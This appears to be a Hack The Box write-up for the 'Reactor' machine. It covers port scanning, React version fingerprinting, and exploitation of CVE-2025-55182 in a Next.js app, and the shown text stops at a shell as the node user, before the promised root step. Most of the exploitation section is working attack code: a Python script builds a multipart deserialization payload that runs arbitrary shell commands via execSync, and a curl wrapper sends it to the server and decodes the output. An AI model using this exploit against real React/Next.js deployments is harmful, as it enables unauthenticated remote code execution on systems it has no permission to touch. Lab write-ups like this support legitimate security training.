
Full walkthrough of HTB's Reactor machine — exploit CVE-2025-55182 to gain a shell, then get root via an exposed Node.js debugger. Step-by-step with screenshots.
[!CAUTION] Spoiler warning. This is a full walkthrough including flags. If you want to solve the machine yourself, close this now and come back when you're stuck.
| Field | Details |
|---|---|
| Name | Reactor |
| OS | Ubuntu 24.04 LTS (Noble) |
| Difficulty | Medium |
| CVE | CVE-2025-55182 (CVSS 10.0) |
| Ports | 22 (SSH), 3000 (Next.js) |
| Author | sonnycroco |
Reactor is themed around a nuclear plant monitoring dashboard called ReactorWatch. The box is entirely about two vulnerabilities chained together, no guessing, no rabbit holes, no brute force.
The path: a pre-release React 19 build exposes a critical deserialization flaw that gives you unauthenticated remote code execution with a single HTTP request. From there, a Node.js debugging port running as root hands you full system access via a WebSocket message.
Attack chain:
Unauthenticated HTTP POST
│
│ CVE-2025-55182 - React RSC multipart deserialization
▼
RCE as node (uid=999)
│
│ Root Node.js process with --inspect exposed on localhost
▼
CDP Runtime.evaluate -> RCE as root (uid=0)
│
├── user.txt ✓
└── root.txt ✓
The first thing to do on any new machine is find out what's listening. A full port scan with service detection so nothing gets missed.
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3

Only two ports. SSH is a dead end at this stage since we have no credentials yet. Port 3000 is the target. Nmap already tells us it's Next.js 15.0.3, which is a good lead.
Before throwing exploits at anything, I want to know the exact version of everything running. The HTTP headers already revealed Next.js, but the React version is the critical detail. React 19 was in pre-release for a long time and had some serious issues before the stable release.
Pulling one of the client-side JavaScript chunks to check:
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
| grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106
That rc in the version string is the smoking gun. This is a release candidate build of React 19, not the stable version. CVE databases confirm: CVE-2025-55182 affects exactly this build. CVSS 10.0.
While here, I check the headers for middleware clues:
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1
No x-middleware-rewrite header anywhere, which means there is no Next.js middleware installed. This rules out CVE-2025-29927 (the middleware bypass), worth noting so you don't waste time on it.
What we know:
experimental.serverActions enabled19.0.0-rc, vulnerable to CVE-2025-55182
React 19's Server Components introduced Server Actions, which are server-side functions callable by the client via HTTP POST with a Next-Action header. The multipart body parser that handles these requests has a critical flaw: it unsafely deserializes a reference type called $1:__proto__:then.
By crafting a multipart body that sets _response._prefix to arbitrary JavaScript, an attacker causes that code to be evaluated on the server. The output is then smuggled out via an exception Next.js uses internally for redirects (NEXT_REDIRECT), and ends up URL-encoded inside the x-action-redirect response header.
Any POST to any page with the Next-Action header triggers this. No auth check, no special endpoint. Just send the payload to / and you're in.
A small Python helper that takes a shell command as input, builds the multipart payload, and writes it to disk for curl to send:
# /tmp/make_rce.py
import sys
cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
payload = (
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="0"\r\n\r\n'
+ ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\''
+ cmd_esc +
'\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
+ b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="1"\r\n\r\n'
b'"$@0"\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="2"\r\n\r\n'
b'[]\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
f.write(payload)
Wrapping everything in a shell function for a pseudo-shell feel:
rce() {
python3 /tmp/make_rce.py "$*" > /dev/null
curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary "@/tmp/rce_payload.bin" > /dev/null
grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
| python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}
The raw HTTP exchange. Command output is sitting right there in the redirect header:
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
[... multipart body ...]
HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push
rce "id"
# uid=999(node) gid=988(node) groups=988(node)
We're in as the node service account. No authentication, no brute force, no social engineering. Just one HTTP POST. This is what a CVSS 10.0 looks like in practice.